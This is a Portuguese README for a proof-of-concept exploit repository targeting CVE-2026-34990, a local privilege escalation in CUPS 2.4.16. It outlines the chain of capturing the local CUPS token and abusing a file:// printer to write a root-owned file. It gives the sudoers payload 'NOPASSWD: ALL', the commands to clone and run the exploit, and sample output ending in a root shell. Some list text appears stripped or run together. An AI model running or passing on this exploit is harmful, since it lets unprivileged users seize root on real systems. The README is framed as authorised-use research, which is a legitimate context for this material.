
PoC genérico para CVE-2026-34990 - Escalação de Privilégios Local no CUPS 2.4.16 via divulgação de token local e sobrescrita arbitrária de arquivo root.
Uma prova de conceito genérica para CVE-2026-34990, uma vulnerabilidade de escalação de privilégios local que afeta o CUPS 2.4.16.
O exploit demonstra como um usuário local sem privilégios pode abusar da autenticação local do CUPS e do comportamento de configuração de impressoras para obter uma escrita arbitrária de arquivo como root e escalar privilégios.
A CVE-2026-34990 foi originalmente reportada por:
Asim Viladi Oglu Manizada (@manizada)
Eu não sou o descobridor desta vulnerabilidade.
Este repositório contém minha implementação de prova de conceito adaptada e testada, com base em informações técnicas divulgadas publicamente.
Em alto nível, a cadeia de exploração é:
Usuário local sem privilégios
|
v
Criar impressora CUPS temporária
|
v
Acionar autenticação IPP de saída
|
v
Capturar token Authorization: Local
|
v
Reutilizar token contra operações privilegiadas do CUPS
|
v
Criar/persistir impressora file://
|
v
Enviar trabalho de impressão
|
v
Escrita arbitrária de arquivo com proprietário root
|
v
Escalação de privilégios
O PoC usa automaticamente o nome de usuário local atual.
Por exemplo, quando executado como:
alice
o payload de demonstração tem como alvo:
/etc/sudoers.d/alice-pwn
e tenta escrever:
alice ALL=(ALL) NOPASSWD: ALL
Um exploit bem-sucedido pode então ser verificado com:
sudo -n id
Exemplo:
uid=0(root) gid=0(root) groups=0(root)
O PoC espera:
ipptoollplpstatVerifique a versão do CUPS:
cups-config --version
Verifique se o agendador está em execução:
lpstat -r
Verifique o listener local do CUPS:
ss -lnt | grep 631
Clone o repositório:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
Execute:
python3 exploit.py
Exemplo de saída:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
Após a exploração bem-sucedida:
sudo -n bash
Este PoC foi intencionalmente escrito como uma implementação genérica da CVE divulgada publicamente.
Ele não contém:
Este código é fornecido para:
Use este código apenas em sistemas que você possui ou em sistemas para os quais você tem autorização explícita.
O autor não é responsável pelo uso indevido deste software.
Descoberta da vulnerabilidade:
Asim Viladi Oglu Manizada (@manizada)
Adaptação do PoC, testes e documentação:
Noor Khalil